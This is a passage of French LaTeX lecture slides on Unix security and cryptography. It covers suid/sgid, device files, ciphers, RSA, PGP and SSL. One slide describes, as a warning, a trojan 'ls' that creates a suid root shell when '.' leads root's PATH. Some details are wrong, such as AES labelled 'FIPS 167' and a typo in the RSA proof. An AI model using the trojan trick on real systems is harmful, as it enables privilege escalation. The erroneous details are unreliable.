: \emph{Access Control List} (ACL) sous Unix ou NT \end{itemizer} \end{trans} \begin{trans}{Numéros réels et effectifs} \begin{itemizer} \item Besoins temporaires de changer d'identité \begin{itemizet} \item Pour changer son mot de passe il faut que la commande \texttt{passwd} tourne sous \texttt{root} pour modifier \texttt{/etc/shadow} \item Envoyer du mail : \texttt{sendmail} doit écrire le mail dans la file d'attente sans qu'elle soit écrivable par tout le monde \end{itemizet} \item 2 types d'identificateurs d'utilisateurs et de groupes \begin{itemizet} \item Réels : représente l'identité sous laquelle on s'est connecté. Contrôle la permission d'envoi de signaux \item Effectifs : représente l'identité sous laquelle on effectue des actions à l'instant : création et accès aux fichiers \end{itemizet} Par défaut identificateurs effectifs = identificateurs réels \item Seule possibilité de changement pour un utilisateur normal : remettre les identificateurs effectifs à la valeur de leurs identificateurs réels \item \texttt{root} peut faire toute les manipulations d'identificateur. Exemple : \texttt{login} \emph{donne} un processus à la personne connectée (si authentification correcte) \item Pour acquérir d'autres droits sous contrôle : programmes exécutables avec les bits \emph{suid} et \emph{sgid}. Le système positionne les identificateurs effectifs d'utilisateur et/ou de groupe en conséquence \begin{itemizet} \item \texttt{-r-sr-sr-x 3 root sys 85760 Oct 6 09:57 /bin/passwd} \item \texttt{-r-xr-sr-x 1 bin tty 11592 Oct 6 10:10 write} \item \texttt{---s--x--x 1 root bin 50652 Feb 1 23:05 /bin/su}\\ permet de changer d'identificateurs effectifs en tapant un mot de passe \item \texttt{-rwsr-xr-x 1 root sys 7628 Oct 6 09:48 /bin/newgrp}\\ permet de se connecter sous un autre groupe (équivalent de \texttt{su} pour les groupes). Laisse des traces dans \texttt{/var/adm/sulog} \item \Attention{} Cheval de Troie si «~\texttt{.}~» au début du \texttt{PATH} de \texttt{root}. Faire par exemple une commande \texttt{ls} chez soi qui crée un \emph{shell suid} \texttt{root} avant d'appeler le vrai \texttt{ls} \item \Attention{} Vérifier régulièrement que des programmes \emph{suid}/\emph{sgid} n'apparaissent pas... \item \Attention{} Ne pas faire de \texttt{suid shell script} : exécution en général non atomique \vavers{} attaque avec liens symboliques \item \Attention{} Interdire les \emph{suid}/\emph{sgid} depuis des médias temporaires (disquettes, CD-ROM) et via \texttt{/net} de l'automonteur : un programme \emph{suid} distant est vu localement aussi comme un \emph{suid} local... \end{itemizet} \item \Attention{} Si bugs dans des programmes \emph{suid} ou \emph{sgid} (\texttt{root},...) \item SVR4 : notion en plus de numéros d'utilisateurs et de groupes effectifs \emph{sauvegardés} passés à travers un \texttt{exec()}. Possibilité de refaire un changement d'identificateurs vers ces identificateurs sauvegardés \item \Attention{} Si \texttt{uid} réel ou effectif de l'envoyeur vaut \texttt{uid} réel ou sauvé du récepteur : envoi de \emph{signal} (\texttt{kill()}) possible \vavers{} appel de gestionnaire de signal hors contexte potentiel... \end{itemizer} \end{trans} \input{../../../lib/Unix/ACL/ACL.tex} \begin{trans}{\emph{Devices} --- Fichiers conducteurs de périphériques} \begin{itemizer} \item Religion Unix : tout (ou presque) est fichier ! \item Contrôle du matériel par des fichiers de type \begin{itemizet} \item Mode caractère : la majorité. Mode brut, disques par bloc de 512 octets \begin{verbatim} crw-r----- 1 root sys 13, 1 Jan 7 08:21 mm@0:kmem \end{verbatim} \item Mode bloc : cachage des données par bloc pour permettre une E/S plus souple \begin{verbatim} brw-r----- 1 root sys 32, 50 Dec 11 1997 sd@6,0:c \end{verbatim} \end{itemizet} \item Fonctionnalité dans le système associée au numéro majeur et mineur et pas au nom \item \Attention{} Ne pas autoriser les devices à travers média transportables ou via le réseau hostile (\texttt{/net} automonteur) : écran, clavier, \texttt{/dev/kmem} ou disques locaux en lecture écriture pour tout le monde localement... \item \Attention{} Vérifier qu'il n'y a pas des conducteurs louches qui traînent... \end{itemizer} \end{trans} \begin{trans}{Fichiers cachés} \begin{itemizer} \item Un pirate peut avoir mis des fichiers dans des répertoires discrets : «~\texttt{...}~», «~»,... \item Les noms de fichier peuvent contenir des caractères de contrôle perturbant (cachant) l'affichage des noms (\verb|^L|, \verb|^M|,...) dans les outils anciens \item Recherche des programmes louches \emph{suid}/\emph{sgid} en affichant les en octal les caractères non-ASCII {\footnotesize \begin{verbatim} find / \( -perm -004000 -o -perm -002000 \) -type f -print | cat -ve \end{verbatim} } \item Un pirate pourrait aussi modifier les appels système pour cacher ses fichiers... \end{itemizer} \end{trans} \begin{trans}{Prévention sur les fichiers} \begin{itemizer} \item Certains systèmes (4.4BSD) ont des attributs d'immuabilité (fichiers de configuration,...) et d'ajout seulement (fichiers de log,...) \item 4.4BSD a 4 niveaux de sécurité fonctionnement. \texttt{root} peut augmenter le niveau mais seul \texttt{init} peut le baisser \begin{itemizet} \item Niveau le plus bas : Unix standard \item Niveau le plus haut : drapeaux d'immuabilité et d'ajout seulement non modifiables, \texttt{/dev/mem} et \texttt{/dev/kmem} non écrivables même par \texttt{root}, disques non écrivables en mode brut même par \texttt{root},... \end{itemizet} \item Média en lecture seulement : commutateur sur un disque dur, CD-ROM \item Systèmes de fichiers en lecture seulement. \texttt{root} peut modifier ce statut. Si une partition est en lecture seule sauf quelques fichiers les remplacer par des liens symboliques vers une partition écrivable \item Exportation de disques en lecture seulement si possible \item N'empêche pas un accès physique à la machine ou aux disques... \end{itemizer} \end{trans} \slidepart{Cryptographie} \begin{trans}{Cryptologie} \begin{itemizer} \item Cryptographie : utilisation d'une écriture secrète entre 2 parties pour minimiser les risques d'espionnage \item Développement parallèle de la cryptanalyse pour décoder les messages secrets \item \vavers{} Cryptologie $\equiv$ Cryptographie + Cryptanalyse \item Cryptologie : origine des premiers ordinateurs pendant la seconde guerre mondiale \item Usages de la cryptographie \begin{itemizet} \item Interdire les accès non autorisés à de l'information (même pour \texttt{root} si pas espionnage du processus) \item Protection de l'information sur les réseaux \item Détection d'une altération des données \item Vérification de l'auteur d'un document : signature \end{itemizet} \item Ce que ne peut pas faire la cryptographie \begin{itemizet} \item Empêcher l'effacement des données par un pirate \item Protéger le programme de chiffrement et son exécution (traçage, debug,...) \item Pas à l'abri d'un décodage par hasard, force brute ou nouvelle méthode inédite de décodage \item Empêcher la lecture avant codage ou après décodage \end{itemizet} \item \vavers{} \Attention{} Ne pas sous-estimer les autres méthodes de sécurité sous prétexte de cryptographie omnipotente \end{itemizer} \Attention{} Franglais à la mode : \emph{crypter}, \emph{cryptage},... \LienPDF{http://www.rsasecurity.com/rsalabs/faq} \end{trans} \begin{trans}{Éléments de chiffrement} \psfiglarge{dessins/chiffrement.idraw} Utilisation d'un algorithme paramétrable par une \emph{clé} pour la souplesse \end{trans} \begin{trans}{Paramètres de chiffrement} \begin{itemizer} \item Algorithme de chiffrement : généralement une fonction mathématique $f(\textrm{message},\textrm{clé})$ \item Longueur de clé (en bits) : $\nearrow$ longueur clé $\equiv$ $\nearrow$ nombre de clés différentes possibles \vavers{} $\nearrow$ essais à faire pour décoder en force brute \item En fonction de l'algorithme le temps de calcul est plus ou moins important et on peut faire varier la taille de la clé en conséquence à protection constante \item Sécurité dépend de \begin{itemizet} \item Secret de la clé \item Difficulté à deviner la clé ou a les essayer toutes : lié à la taille de la clé \item Difficulté de l'inversion de l'algorithme de chiffrement sans connaître la clé (\emph{cassage}) \item Existence de portes par derrière (pour les gouvernements...) ou d'autres moyens plus faciles de déchiffrement \item Possibilité de déchiffrement par attaque à texte (partiellement) connu \end{itemizet} \item Bon système : résiste à tous les points précédents et n'offre pas d'alternative à l'essai de toutes les clés \end{itemizer} \begin{itemizec} \item « \emph{Handbook of Applied Cryptography} » par Alfred J. Menezes, Paul C. van Oorschot et Scott A. Vanstone, CRC Press. \LienPDF{http://www.cacr.math.uwaterloo.ca/hac/} \item \LienPDF{http://perso.cybercable.fr/arboi/cryptFAQ/} \end{itemizec} \end{trans} \begin{trans}{Quelques algorithmes symétriques} « symétriques » car même clé privée secrète partagée utilisée pour le chiffrement et le déchiffrement \begin{itemizer} \item ROT13 : blague décalant toutes les lettres de 13 places \item \texttt{crypt (1)} d'Unix : petit programme de chiffrement basé sur le principe simplifié de la machine Enigma. Facilement cassable \item DES (\emph{Data Encryption Standard}) du NIST et IBM : clés sur 56 bits. Utilisé pour le codage des mots de passe Unix. Commande \texttt{des} retirée pour l'export mais implémentations libres existent. Basé sur Lucifer de IBM 112 bits mais simplifié à 56 bits. Cassable par force brute... \item Extensions plus forte : double et triple DES : enchaînement de DES. 3DES 168~bits mais $\approx$~112~bits effectifs (à vérifier) \item RC2 : algorithme secret avec des clés entre 1 et 2048 bits développé par Ronald Rivest chez RSA Data Security. Posté anonymement dans les \emph{news} en 1996 ! Limité à 40 bits pour l'export \item RC4 : algorithme secret avec des clés entre 1 et 2048 bits développé par Ronald Rivest chez RSA Data Security. Posté anonymement dans les \emph{news} en 1994 ! Limité à 40 bits pour l'export \item RC5 : algorithme développé par Ronald Rivest et publié en 1994. Taille de clé, de bloc et nombre d'itérations paramétrables \item IDEA (\emph{International Data Encryption Algorithm}) publié en 1990 par James L. Massey et Xuejia Lai en Suisse. Clé de 128 bits. Utilisé par PGP \item Skipjack : algorithme secret développé par la NSA avec clés de 80 bits \item AES \LienPDF{http://csrc.nist.gov/encryption/aes/} : Rijndael choisi comme le FIPS~167 par le NIST, standard US le 26/5/2002\\ Clés de 128, 192 et 256 bits (1,1.10$^{77}$ clés) \end{itemizer} \end{trans} \begin{trans}{Exemple de l'AES} \LienPDF{http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf} \begin{exemple} Cipher(byte in[4*Nb], byte out[4*Nb], word w[Nb*(Nr+1)]) begin byte state[4,Nb] state = in AddRoundKey(state, w[0, Nb-1]) for round = 1 step 1 to Nr 1 SubBytes(state) ShiftRows(state) MixColumns(state) AddRoundKey(state, w[round*Nb, (round+1)*Nb-1]) end for SubBytes(state) ShiftRows(state) AddRoundKey(state, w[Nr*Nb, (Nr+1)*Nb-1]) out = state end \end{exemple} \begin{itemizer} \item \texttt{SubBytes()} substitution non linéaire \item \texttt{ShiftRows()} est une espèce de décalage cyclique sur les lignes \item \texttt{MixColumns()} mélange des colonnes \item \texttt{AddRoundKey()} fait intervenir la clé \end{itemizer} \end{trans} \begin{trans}{Conclusion sur les algorithmes symétriques} \begin{itemizer} \item Algorithmes assez peu coûteux \item Attaque par force brute nécessite en moyenne $\frac{c}{2}$ essais si $c(=2^n)$ clés \item Utilisables sur de gros flots de données : disques, réseaux, sauvegardes \item Nécessite de se mettre d'accord à 2 sur \textbf{LA} clé secrête à utiliser \begin{itemizet} \item Si $\mathcal{M}$ participants \vavers{} $\mathcal{M}^2$~clés nécessaires \frownie \item Si clé trouvée, on espionne les communications entre un couple \end{itemizet} \end{itemizer} \end{trans} \begin{trans}{Quelques algorithmes asymétriques} Idée géniale : remplacer la clé par un cadenas ! \begin{itemize} \item Tout le monde peut fermer un cadenas (chiffrer un message) \item Seul propriétaire de la clé peut ouvrir le cadenas (déchiffrer le message) \end{itemize} « Asymétrique » car 1 cadenas + 1 clé (vus comme 2 clés) \begin{itemizet} \item Clé publique (cadenas) utilisée au chiffrement \[ m_{\text{chiffré}}=f(m_{\text{clair}},c_{\text{publique}}) \] \item Clé privée (clé du cadenas) utilisée au déchiffrement ou réciproquement (signature) \[ m_{\text{clair}}=g(m_{\text{chiffré}},c_{\text{privée}}) \] \end{itemizet} Permet d'envoyer message chiffré simplement en possédant \textbf{LA} clé publique du destinataire \vavers{} plus que $M$ clés pour $M$ participants \begin{itemizer} \item \emph{Non-secret encryption} possible (1970) et conçu par Clifford Cocks (1973) au Communications-Electronics Security Group anglais \LienPDF{http://www.jya.com/ellisdoc.htm} \item Réinventé en gros sous forme de RSA de Rivest, Shamir et Adleman, 1977. Basé sur l'arithmétique modulo. Longueur des clés en fonction de l'implémentation. Breveté mais d'utilisation libre en dehors des USA \item ElGamal : algorithme basé aussi sur l'arithmétique modulo avec taille de clé quelconque \item DSA (\emph{Digital Signature Algorithm}) développé par le NSA \item Logarithmes discrets sur courbes elliptiques (ECDSA,...) \item Diffie-Hellmann (1976) : construction d'une clé privée commune à partir des 2 clés privées des 2 parties. Longueur des clés en fonction de l'implémentation \end{itemizer} Techniques basées sur des problèmes mathématiques \emph{actuellement} ardus (décomposition en produits de nombres premiers) \begin{itemizet} \item \Attention{} Si un jour on trouve un moyen simple de résoudre ces problèmes on casse le chiffrement \frownie \item Algorithmes lents \end{itemizet} \end{trans} \begin{trans}{Principe de RSA} \LienPDF{http://theory.lcs.mit.edu/~rivest/rsapaper.pdf} \begin{itemizer} \item Génération d'une clé \begin{itemizet} \item Choisir 2 nombres premiers au hasard $p \neq q$. $N=pq$ \item Choisir entier $e$ tel que $1 < e < N$ et e premier avec $(p-1)(q-1)$ \item Calculer $d$ inverse de $e$ modulo $(p-1)(q-1)$, c'est à dire $de \equiv 1 \mod (p-1)(q-1)$ \item Détruire toute trace de $p$ et $q$ \end{itemizet} $N$ et $e$ sont la clé publique, $N$ et $d$ sont la clé secrète. Seul $d$ est réellement secret \item Chiffrement d'un message $m$ \[ c = m^e \mod N \] \item Déchiffrement \[ m = c^d \mod N \] Pourquoi ? \begin{itemizet} \item $\exists k: c^d \equiv (m^e)^d \equiv m^{ed} \equiv m^{1+k(p-1)(n-1)}\mod N$ \item Théorème d'Euler : $\forall x, x^{(p-1)(q-1)} \equiv 1 \mod N$ \item D'où $\forall m, m^{ed} \equiv m \mod N$ \end{itemizet} \item Sécurité : si on sait décomposer $N$ en facteurs premiers on retrouve $p$ et $q$, donc on peut calculer $d$ à partir de $N$ et $e$... Heureusement pas de méthode connue de décomposition efficace en facteurs premiers... \end{itemizer} % Un peu faux ces liens... \LienPDF{http://www.wordiq.com/definition/RSA} \LienPDF{http://fr.wikipedia.org/wiki/RSA} \end{trans} \begin{trans}{RSA --- implémentations, loi et... bugs !} %% Delivered-To: BUGTRAQ@SECURITYFOCUS.COM %% Date: Thu, 2 Dec 1999 17:42:11 -0700 %% From: Theo de Raadt %% Subject: OpenBSD sslUSA26 advisory (Re: CORE-SDI: Buffer overflow in RSAREF2) \begin{itemizer} \item Aux USA il fallait payer une license pour utiliser RSA \item Pour les utilisations non commerciales aux USA RSA \emph{impose} l'utilisation de leur code de référence RSAREF2 \item Tout autre usage aux USA est une violation du brevet \item \Attention{} Malchance : RSAREF2 contient un bug (débordement de buffer) ! \item Récupérer la version corrigée de RSAREF2 auprès de RSA \item En septembre 2000, le brevet a pris fin... \end{itemizer} \belleboite{De l'intérêt du logiciel libre en sécurité...} \end{trans} \begin{trans}{Signatures électronique} \begin{itemizer} \item Si on peut envoyer message chiffré \begin{itemizer} \item Expéditeur chiffre avec \textbf{sa clé privée} \[ m_{\text{chiffré}}=f(m_{\text{clair}},c_{\text{privée}}) \] \item Récepteur déchiffre avec \textbf{la clé publique} de l'expéditeur \[ m_{\text{clair}}=g(m_{\text{chiffré}},c_{\text{publique}}) \] Si c'est lisible c'est bon \end{itemizer} Pas pratique : chiffre (de manière lente) tout le message \item Calcul d'un condensé du message à partir d'une fonction de hachage cryptographique (style MD5 qui renvoie une valeur de 128 bits) \[ s = h(m) \] \item Utilisation d'un algorithme à clé publique à l'envers : $s$ est encodée avec \textbf{la clé privée} (laquelle ?) \[ s_{\text{chiffrée}}=g(s,c_{\text{privée}}) \] et forme la signature jointe au message envoyé en clair \item À l'arrivée on recalcule la somme de vérification et on décode la signature \[ s = h(m),\quad s_{\text{claire}}=f(s_{\text{chiffrée}},c_{\text{publique}}) \] \item Si $s \neq s_{\text{claire}}$ soit $m$ ou $s_{\text{chiffrée}}$ a été modifié lors du transport soit la signature est fausse \end{itemizer} Repose sur 2 propriétés : \begin{itemizet} \item $h()$ telle qu'il est très difficile de modifier le message à signature constante (\Attention{} MD5 a des rumeurs de faiblesse...) \item $f()$ telle qu'il est très difficile de construire une $s_{\text{chiffrée}}$ à partir d'une $s_{\text{claire}}$ et $c_{\text{publique}}$ \end{itemizet} \end{trans} \begin{trans}{Protocoles de signature classiques} \LienPDF{http://csrc.nist.gov/encryption/tkdigsigs.html} \begin{itemizer} \item DSA : SHA-1 + El Gamal \item ECDSA : SHA-1 + courbes elliptiques \item RSA : SHA-1 + RSA \end{itemizer} \end{trans} \begin{trans}{Conclusion sur les algorithmes asymétriques} \begin{itemizer} \item Ramène nombre de clés publiques à $\mathcal{M}$ pour $\mathcal{M}$ participants \item \Attention{} ne pas comparer froidement longueurs de clés d'algorithmes symétriques et asymétriques \begin{itemizet} \item En asymétrique on va par exemple faire des attaques par résolution du problèmes mathématique (factorisation de la clé,...) au lieu d'une attaque par force brute \item À résistance équivalente algorithmes asymétriques nécessitent des clés beaucoup plus grandes \end{itemizet} \item Algorithmes assez coûteux : utilisables sur de petits flots de données (signatures de condensés)\\ \item \vavers{} Algorithmes hybrides : utilisation algorithme à clé publique pour échanger les clés d'un algorithme à clé privée \item \Attention{} ¿ Mais est-on sûr que la clé publique est celle du destinataire ? \item \vavers{} Notion de certificats : association clé publique et nom du destinataire signée par un tiers de confiance \end{itemizer} \end{trans} \begin{trans}{Fonctions de hachage cryptographique classiques} \begin{itemizer} \item MD4 (1990) \LienPDF{http://www.rsasecurity.com/rsalabs/faq/3-6-6.html} Ronald L. Rivest \begin{itemizet} \item Génère 128 bits avec des opérations booléennes \item Considérée comme cassée aujourd'hui \end{itemizet} \item MD5 (1991) amélioration de MD4 par Ronald L. Rivest \begin{itemizet} \item Génère 128 bits avec des opérations booléennes \item Des faiblesses aussi \end{itemizet} \item SHA-1 \LienPDF{http://www.itl.nist.gov/fipspubs/fip180-1.htm} FIPS 180-1 (1995) \begin{itemizet} \item Hachage sur 160 bits \item Semblable au concept du MD4 \item Limitée à des messages de $2^{64}$ bits \smiley \item SHA-1 corrige un bug de SHA-0 de 1993 trouvé par la NSA ?... SHA-0 cassé par Antoine Joux (DCSSI) et al. 17/08/2004 après 80000h de calcul avec 256 Itanium2 du CEA/DAM. Complexité de $2^{51}$ \end{itemizet} \item Extensions SHA-256, SHA-384 et SHA-512 \LienPDF{http://en.wikipedia.org/wiki/SHA_family} \end{itemizer} \end{trans} \slidepart{Cryptographie et politique} \begin{trans}{Cryptographie et politique} \begin{itemizer} \item Pour des raisons d´état, besoin de décoder certaines données/messages \item Limitation par exemple de la taille des clés pour permettre une attaque force brute avec de gros moyens de calcul (officiellement ils « font de l'algèbre »... \smiley{} ) \item Mouvements sur Internet de démonstrations de craquages massivement parallèles pour pousser à l'autorisation de clés suffisamment grandes \item USA : limitation à 40 bits des clés des systèmes à l'exportation \item En France autorisation personnelle sans déclaration de clés sur 128 bits max. Décret n°99-199 du 17 mars 1999 \LienPDF{http://www.scssi.gouv.fr/present/chiffre/lois\string_fr1.html\#5867} \item L'ENST Bretagne est longtemps restée à SSF, clés petites et protocole 1 faible \end{itemizer} \end{trans} \begin{trans}{Réseau d'espionnage Echelon} \begin{itemizer} \item Pacte Ukusa datant de 1948 sous contrôle de la NSA : USA + GB + Canada + Australie + Nouvelle-Zélande associés pour espionner les communications mondiale \item Rescapé de la guerre froide \item De plus en plus d'espionnage entre amis et économiques : re-ciblage vers le civil \item Filtrage du téléphone, fax et courriel \item Filtrage de $2.10^6$ communications par minute ? \item Espionnage des canaux d'Intelsat \item Moins de bases terrestres, plus de satellites \item Système d'ordinateurs filtrant à partir de dictionnaires de mots sensibles \item Intoxication ? \end{itemizer} Article de Courrier International N$^{\text{o}}$387, avril 1998 \LienPDF{http://www.aclu.org/echelonwatch/} \end{trans} \begin{trans}{Réseau d'espionnage Carnivore} \begin{itemizer} \item Projet FBI de réseau d'espionnage des civils USA \item Version réseau du système d'écoutes téléphoniques \end{itemizer} \begin{itemizet} \item \LienPDF{http://www.robertgraham.com/pubs/carnivore-faq.html} \item \LienPDF{http://www.aclu.org/news/2000/n071200b.html} \item \LienPDF{http://www.crypto.com/papers/carnivore-risks.html} \end{itemizet} \vavers{} Motive l'usage de la cryptographie ! \smiley \end{trans} \begin{trans}{Outils utilisant la cryptographie} On peut attaquer le problème à plusieurs niveaux : compromis \begin{itemizer} \item Application : PGP, GnuPG, SSH, fichiers chiffrés dans des mails, DNSSEC,...\\ Indépendance du réseau \item Sockets (tuyaux d'échanges de données) : SSL, TLS \item Réseau : IPsec, tunnels et VPN chiffrés, WEP IEEE802.11b,...\\ Transparence pour les applications \item Problèmes d'échanges et de vérification des clés (PKI,...) \end{itemizer} \belleboite{Bon blindage : tout blinder !} \end{trans} \slidepart{PGP} \begin{trans}{PGP --- \emph{Pretty Good Privacy}} \begin{itemizer} \item Phil Zimmermann, 1991 \item Permet des échanges de courriers confidentiels et signés \item Peut chiffrer des fichiers locaux \item Compression des données avant chiffrement via ZIP \begin{itemizet} \item Après c'est trop tard... \item Économise la bande passante \item Complique la vie du pirate en supprimant la redondance dans les textes utilisable pour casser les codes \end{itemizet} \item Générateur de nombre aléatoire basé sur le temps, les événements (clavier, souris) et le passé pour générer les clés de session symétriques \item Utilisation d'algorithmes symétriques IDEA (128~bits), CAST (128~bits) et triple-DES (168 bits) pour le chiffrement des données \item Envoi \begin{itemizet} \item Chiffrement rapide des données avec clé de session symétrique et envoi \item Envoi de la clé de session chiffrée avec la clé publique du destinataire\\ \Attention{} Pour l'archivage des messages : on ne peut plus lire ses propres messages ainsi chiffrés \item Envoi à $n$ destinataires : envoi de la clé de session chiffrée $n$ fois (et non $n$ messages complets) \end{itemizet} \item Réception \begin{itemizet} \item Clé privée utilisée pour décoder la clé de session \item Clé de session utilisée pour décoder le message \end{itemizet} \item Signature \begin{itemizet} \item Digère le message via une fonction de hachage cryptographique DSS SHA (160~bits) de la NSA (ou MD5 (128~bits), compatibilité avec le passé car faible) \end{itemizet} \item Clé publique \begin{itemizet} \item Doit être disséminée car utilisée par les autres pour envoyer des messages chiffrés ou vérifier la signature \item \Attention{} Qu'est-ce qui garantie la véracité de la clé publique ? \item Talon d'Achille des systèmes à clé publique... \begin{itemizec} \item Un intercepteur peut remplacer la clé publique du destinataire \item L'intercepteur peut lire les messages du destinataire qui ont été chiffrés avec la fausse clé publique \item Et même re-chiffrer les messages avec la vraie clé publique et faire suivre au destinataire qui ne s'apercevra de rien... \item L'intercepteur peut créer de faux certificats de signature avec sa fausse clé privée que les autres vérifieront avec la fausse clé publique.. \end{itemizec} \item Idée : faire certifier (signer) la clé publique par un tiers de confiance dont on a une copie sûre de la clé publique \item Possibilité de se spécialiser dans la notion de tiers de confiance : autorité de certification \item Sinon réseau de certifications mutuelles \item Ne pas signer une clé publique dont on n'est pas sûr \item PGP gère un porte-clé de clés publiques et de tiers de confiance \item \Attention{} Ne pas se faire modifier par un pirate son porte-clé car on pourrait faire confiance à des pirates... Possible de signer son porte-clé de clés publiques avec sa clé privée pour vérifier les modifications \item Qualité de confiance pour le «~métier~» de certificateur associée à chaque clé privée du porte-clé. Sert à estimer la qualité d'une clé publique signée par ce ou ces certificateurs : approche décentralisée de la certification \end{itemizet} \item Clé privée \begin{itemizet} \item Protégée par un mot de passe \item \Attention{} Ne pas laisser échapper la clé privée et/ou le mot de passe ! \item Ne pas perdre sa clé privée et/ou son mot de passe : cela rendrait toutes les copies disséminées de sa clé publique inutiles \item Mécanisme de certificats de révocation en cas de vol. Quid en cas de perte ? \end{itemizet} \item Peut-on faire confiance à PGP ? \begin{itemizet} \item On a les sources... \item Par comparaison \begin{itemizec} \item De nombreux logiciels commerciaux de «~chiffrement~» sont faibles car pas toujours réalisés selon l'état de l'art par des spécialistes. Sécurité par obscurantisme... \item Il existe des logiciels capables de déchiffrer automatiquement les fichiers chiffrés MS Excel, MS Word,... \end{itemizec} \item Phil Zimmermann a fait l'objet d'une enquête de 3 ans par la justice américaine pour exportation de PGP... \end{itemizet} \item PGP et la cryptographie ne font pas tout : inutile si vol, analyse des poubelles, corruption, analyse de la mémoire du système d'exploitation, des blocs anciennement utilisés sur disque, des télé-réceptions d'écrans,... \item On peut envoyer des messages signés avec une fausse date en modifiant le temps de sa machine... \vavers{} Mettre en place l'équivalent de notaires certifiant les dates des signatures \item Peut-être que des instituts comme la NSA ou la DST ont déjà cassé les algorithmes utilisés ? Ou une méthode sera trouvée un jour ? \item Exportation des sources sous forme électronique interdite depuis les USA : publication des sources sous forme de livres qui ont été numérisés puis passés à travers un système de reconnaissance de caractère... \vavers{} \LienPDF{http://www.pgpi.com} \item Excellent \texttt{man pgp-intro} instructif (de 30 pages !) \item Serveurs de clés : \LienPDF{http://www.pgp.net} \end{itemizer} \end{trans} \begin{trans}{Usage de PGP} \begin{itemizer} \item \texttt{man pgp} \item Répertoire de configuration \verb|~/.pgp| \begin{itemizet} \item \verb|~/.pgp/pgp.cfg| : configuration de l'utilisateur \item \verb|~/.pgp/pubring.pkr| porte-clé des clés publiques \item \verb|~/.pgp/secring.skr| porte-clé des clés privées \end{itemizet} \item \texttt{pgpk} gère les clés (\texttt{man pgpk}) \begin{itemizet} \item \verb|pgpk -g| initialise un couple clé privée/publique \item \verb|pgpk -l| donne des informations sur les clés connues \item \verb|pgpk -x| extrait une clé publique \item \verb|pgpk -a| rajoute des clés \end{itemizet} \item \texttt{pgpe} chiffre et signe optionnellement (\texttt{man pgpe}) \begin{itemizet} \item \texttt{-a} code tout en ASCII (transfert par mail) \item \texttt{-c} chiffre avec une clé secrète. Pour chiffrement à usage local \item \texttt{-r \emph{destinataire}} prend la clé publique du destinataire pour chiffrer \item \texttt{-s} signe en plus \end{itemizet} \item \texttt{pgps} signe (\texttt{man pgps}) \begin{itemizet} \item \texttt{-a} code tout en ASCII (transfert par mail) \item \texttt{-b} met la signature à part \end{itemizet} \item \texttt{pgpv} visualise (\texttt{man pgpv}) \begin{itemizet} \item \texttt{-m} utilise \texttt{more} ou assimilé pour visualiser au lieu de mettre dans un fichier ou dans \texttt{stdout} \end{itemizet} \end{itemizer} \end{trans} \begin{trans}{Utilisation concrète de GPG/PGP} \begin{itemizer} \item \LienPDF{http://www.cryptnet.net/fdp/crypto/gpg-party.html} une \emph{Signing Party} ou comment transformer les contraintes sécuritaires en fête sociale \smiley \item Mode \texttt{Mailcrypt} pour faciliter PGP avec Emacs \item GNU GPG autre implémentation libre du RFC OpenPGP \item Plein de clients graphiques. Exemple pour Mozilla, Enigmail et GnuPG : \LienPDF{http://openpgp.vie-privee.org/enigmail.html} \item \Attention{} Comment détecter de manière centrale un virus ou du spam dans un message chiffré ? \end{itemizer} \end{trans} \input{../../../lib/Securite/OpenSSH/OpenSSH.tex} \slidepart{SSL} \begin{trans}{SSL --- \emph{Secure Socket Level} --- TLS} \begin{itemizer} \item Il était une fois... besoin de communications sécurisées entre clients et serveurs WWW \item Système de \emph{sockets} sécurisées au dessus de TCP/IP \item \emph{Secure Sockets Layer} (SSL v2/v3) a évolué en \emph{Transport Layer Security} (TLS v1) \item Toute application utilisant TCP peut être sécurisée (FTP, SMTP,...) mais en pratique presque seulement HTTP actuellement : \texttt{http\fbox{s}://} \item Développé par Netscape et basé sur de l'authentification à clé publique et chiffrement par agorithme symétrique \item Module \verb|mod_ssl| pour serveur Apache \item Établissement de la liaison : \begin{itemizet} \item Client demande connexion avec liste de protocoles de sécurité acceptés et nombre aléatoire client \item Serveur répond avec son certificat X.509, liste de protocoles de sécurité acceptés et nombre aléatoire serveur \item Client vérifie que le certificat est bien un vrai \item \Attention{} Comment s'assurer que le certificat X.509 n'est pas un faux ? Il doit être signé par un tiers de confiance dont la clé publique est \emph{câblée en dur} dans le client (dans le code ou dans... un fichier de configuration~!) \item Client envoie un secret chiffré avec la clé publique du certificat X.509 du serveur. Le secret est utilisé pour générer les 2 clés symétriques chiffrant dans chaque sens. Le client peut envoyer aussi son propre certificat X.509 \item Client envoie le nombre aléatoire serveur chiffré \item Serveur reçoit et vérifie que c'est bien le client du début \item Serveur envoie le nombre aléatoire client chiffré \item Client vérifie que c'est bien son nombre aléatoire client \item Le transfert d'information peut commencer ! \end{itemizet} \item Le fait d'avoir un tiers de certification connu du logiciel client \emph{en dur} implique un certain monopole officiel \frownie \item Si un client veut s'authentifier : comme pour les serveurs ! Récupérer (acheter...) un certificat X.509 auprès d'organismes de certification agréés (\LienPDF{https://certs.netscape.com/client.html}) \item Protocole orienté \emph{socket} (adresse IP) \begin{itemizet} \item \vavers{} autant de certificats que d'adresses IP \item Serveurs HTTP virtuels (sur même adresse IP) se partagent le même certificat \end{itemizet} \item \Attention{} Champ \emph{referer} dans HTTP qui stocke l'URL d'où on vient. Si information confidentielle dans l'URL ou méthode \texttt{GET}, SSL ne sauve pas la mise... Préférer \texttt{POST} \item \Attention{} Avoir un serveur protégé par SSL ne veut pas dire pour le client que ce n'est pas un serveur criminel : capture de numéro de cartes bancaires,... Vérifier soigneusement le certificat du serveur ! \Attention{} Même un pirate a le droit d'acheter un \emph{vrai} certificat \frownie \item \Attention{} N'empêche pas en particulier les détournements style \LienPDF{http://anon.free.anonymizer.com/http://resel.enst-bretagne.fr} \Attention{} JavaScript peut « corriger » au vol l'affichage de l'URL pour cacher le fait qu'on passe par un site relais pirate \vavers{} interdire JavaScript\\ Effet de bord positif : permet de tester son serveur de l'«~extérieur~»~! \smiley \item \Attention{} Clés sur seulement 40 bits en France encore récemment \item \Attention{} Protéger ses propres certificats par un mot de passe pour éviter leur vol par administrateur ou trou de sécurité\\ \vavers{} Problèmes de démarrage des sites WWW et autres... \vavers{} cartes spécifiques pour les stocker (banques,...) \item \Attention{} Manque de sécurité local au niveau client ou serveur rend caduque SSL. Si fichier carte bleue sur le serveur piraté... \item Autre système WWW sécurisé : S-HTTP. Gestion de la sécurité similaire mais au niveau des entêtes HTTP au lieu du niveau socket \end{itemizer} \end{trans} \begin{trans}{OpenSSL} \LienPDF{http://www.openssl.org} \begin{itemizer} \item Système libre utilisé dans de nombreux outils \item Code C inspectable et inspecté \item Fournit 3 outils : 